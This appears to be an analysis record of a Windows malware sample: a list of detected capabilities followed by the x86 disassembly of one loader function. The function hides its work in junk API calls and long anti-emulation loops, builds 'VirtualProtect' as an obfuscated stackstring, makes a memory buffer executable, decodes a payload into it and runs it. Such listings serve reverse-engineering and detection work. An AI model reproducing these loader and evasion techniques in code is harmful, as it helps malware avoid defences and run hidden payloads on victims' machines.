Function at 0x402e90
Capabilities:
Access the windows event log
Contain obfuscated stackstrings
Manipulate console buffer
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8e0
push ebx
push esi
push edi
xor esi, esi
push 0x99ff40
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x8074d
jne 0x402ff4
mov eax, 0x41c860
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402ec0
sub eax, edx
cmp eax, 0x97568
jne 0x402ff4
push 0x41c860
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x5903c
jne 0x402ff4
push str.bilonoziwovaze
call dword [sym.imp.USER32.dll_LoadCursorFromFileW]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetTapePosition]
push esi
push str.fabofavisefunotudovozawesojimeta_sujinefegecipanoluyifozo
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_RemoveMenu]
push str.susabohenihideyadi
push str.berifezidawazu_geniyokuluye_sepuhe_zimosafodidusepejacudagemuvafa_lomiseyicuwatitakoneyepi_josudotakupovete_mulavifiposo_xohilujusucufu__f
push 0x41c860
call fcn.00404c1c
push 0x416364
push str.zeruleviyahudejitafe.txt
call fcn.00404b87
push eax
push 0x5c3f4
push 1
push 0x41c860
call fcn.00404aa6
push str.pijiwagekuwizumedelocifucavoxi_lituva_bujupexo_go_yixu_hapikosihemukuxabikugikijabeso_gutuyo__s__d__f
push esi
call fcn.004047e6
add esp, 0x2c
push esi
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0xc4], 0x416674
mov dword [ebp - 0xbc], 0x41666c
mov dword [ebp - 0x70], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
call fcn.00402c20
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ecx + 4]
lea ecx, [ebp - 0xb8]
mov dword [ebp + edx - 0xc4], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
call fcn.00401c20
lea eax, [ebp - 0xbc]
push str.zukonipihowusoceguto
push eax
mov dword [ebp - 0xb8], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], esi
call fcn.00402cc0
add esp, 8
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
lea ecx, [ebp - 0x70]
call fcn.00401dc0
lea ecx, [ebp - 0x70]
push ecx
mov dword [ebp - 0x70], vtable.std::ios_base.0
call fcn.00403939
add esp, 4
mov edi, dword [sym.imp.USER32.dll_GetMenuInfo]
mov ebx, dword [sym.imp.KERNEL32.dll_GetThreadPriority]
lea edx, [ebp - 0xe0]
push edx
push 0
call edi
cmp esi, 0x9a6
jge 0x403023
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x24]
push ecx
push 0
call dword [sym.imp.ole32.dll_OleLoadFromStream]
push 0
call ebx
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x34]
push ecx
call sub.KERNEL32.dll_GetSystemTimes
cmp esi, 0x26538
jle 0x40305e
cmp dword [ebp - 0xcc], 0x170b5f6b
je 0x40305e
cmp dword [ebp - 0x14], 0xdf790d0
je 0x40305e
cmp dword [ebp - 0x10], 0x7040c746
jne 0x403069
inc esi
cmp esi, 0x5d91e1a1
jl 0x403000
jmp 0x403087
push 0
push 0
lea edx, [ebp - 0x24]
push edx
push 0
call dword [sym.imp.USER32.dll_DrawEdge]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawCaption]
mov eax, dword [0x41b414]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov ebx, dword [sym.imp.ole32.dll_CoLoadLibrary]
add eax, 0xa2554
mov dword [0x9c8d08], eax
xor esi, esi
cmp esi, 0x223a
jge 0x4030bc
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
cmp esi, 0x122
jne 0x4030da
mov edx, dword [0x9c8d08]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x424380], eax
jmp 0x4030e2
cmp esi, 0x26c0
jge 0x403102
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
inc esi
cmp esi, 0x2d0
jl 0x4030a4
mov ebx, dword [sym.imp.KERNEL32.dll_FindAtomA]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFileEx]
xor esi, esi
lea esp, [esp]
cmp esi, 0x139d
jge 0x40312f
push str.xarukulurazapunekucedolapedubo_jirehebe_tajedara
call ebx
cmp esi, 0x4c29b8
jne 0x403143
mov eax, dword [0x41b008]
mov dword [0x9c8d0c], eax
jmp 0x403166
cmp esi, 0xff5
jge 0x403166
xor eax, eax
push eax
lea ecx, [ebp - 0x28]
push ecx
push eax
push eax
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
call edi
inc esi
cmp esi, 0x695114
jl 0x403120
xor esi, esi
cmp dword [0x9c8d08], esi
jbe 0x4031aa
mov edi, dword [sym.imp.ole32.dll_CoReleaseMarshalData]
cmp esi, 0xa77
mov edx, dword [0x9c8d0c]
mov al, byte [edx + esi + 0xa2554]
mov ecx, dword [0x424380]
mov byte [ecx + esi], al
jge 0x4031a1
push 0
call edi
inc esi
cmp esi, dword [0x9c8d08]
jb 0x40317f
mov dword [ebp - 8], 0xbb
sub dword [ebp - 8], 0x7b
mov edi, dword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
mov ebx, dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
xor esi, esi
cmp esi, 0xf43
jge 0x4031e5
push 0
lea edx, [ebp - 0x2c]
push edx
call edi
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x8e0]
push ecx
push str.guluyo_dawohuracuremaxojo_sewumajame_pozoteramexi_zosimakeluxepu
call ebx
cmp esi, 0x2c78a0
jne 0x4031ff
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x424384], eax
jmp 0x40321b
cmp esi, 0x26f9
jge 0x40321b
push 0
lea edx, [ebp - 0x8e0]
push edx
push str.De_vemira_zelerinekabatigisojerojezoto_lupasisulimurimejozuzuyuwako_capavayifirebiguheyihemesujuke
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
inc esi
cmp esi, 0x7f5110
jl 0x4031c3
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov al, 0x74
mov cl, 0x72
mov byte [ebp - 0x4d8], cl
mov byte [ebp - 0x4db], 0x61
mov byte [ebp - 0x4d7], 0x6f
mov byte [ebp - 0x4da], 0x6c
mov byte [ebp - 0x4d5], 0x65
mov byte [ebp - 0x4df], 0x69
mov byte [ebp - 0x4e0], 0x56
mov byte [ebp - 0x4dc], 0x75
mov byte [ebp - 0x4d9], 0x50
mov byte [ebp - 0x4d3], al
mov byte [ebp - 0x4dd], al
mov byte [ebp - 0x4d6], al
mov byte [ebp - 0x4d4], 0x63
mov byte [ebp - 0x4de], cl
mov byte [ebp - 0x4d2], 0
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x50536d
jne 0x4032bf
mov ecx, dword [0x424384]
lea eax, [ebp - 0x4e0]
push eax
push ecx
call ebx
mov dword [0x424378], eax
jmp 0x4032db
cmp esi, 0x18e
jge 0x4032db
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x10]
push edx
push 0
call edi
inc esi
cmp esi, 0x799c34
jl 0x4032a0
mov ecx, dword [ebp - 8]
mov edx, dword [0x9c8d08]
lea eax, [ebp - 4]
push eax
mov eax, dword [0x424380]
push ecx
push edx
push eax
call dword [0x424378]
mov ecx, dword [0x9c8d08]
mov edx, dword [0x424380]
push 0x41b010
push ecx
push edx
call fcn.00401200
nop
add dword [0x9c8d08], 0x388b2aff
call dword [0x424380]
mov eax, dword [0x9c8e48]
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx + eax*4]
push 0
push 0
mov dword [edx + 4], 1
call dword [sym.imp.USER32.dll_IsChild]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10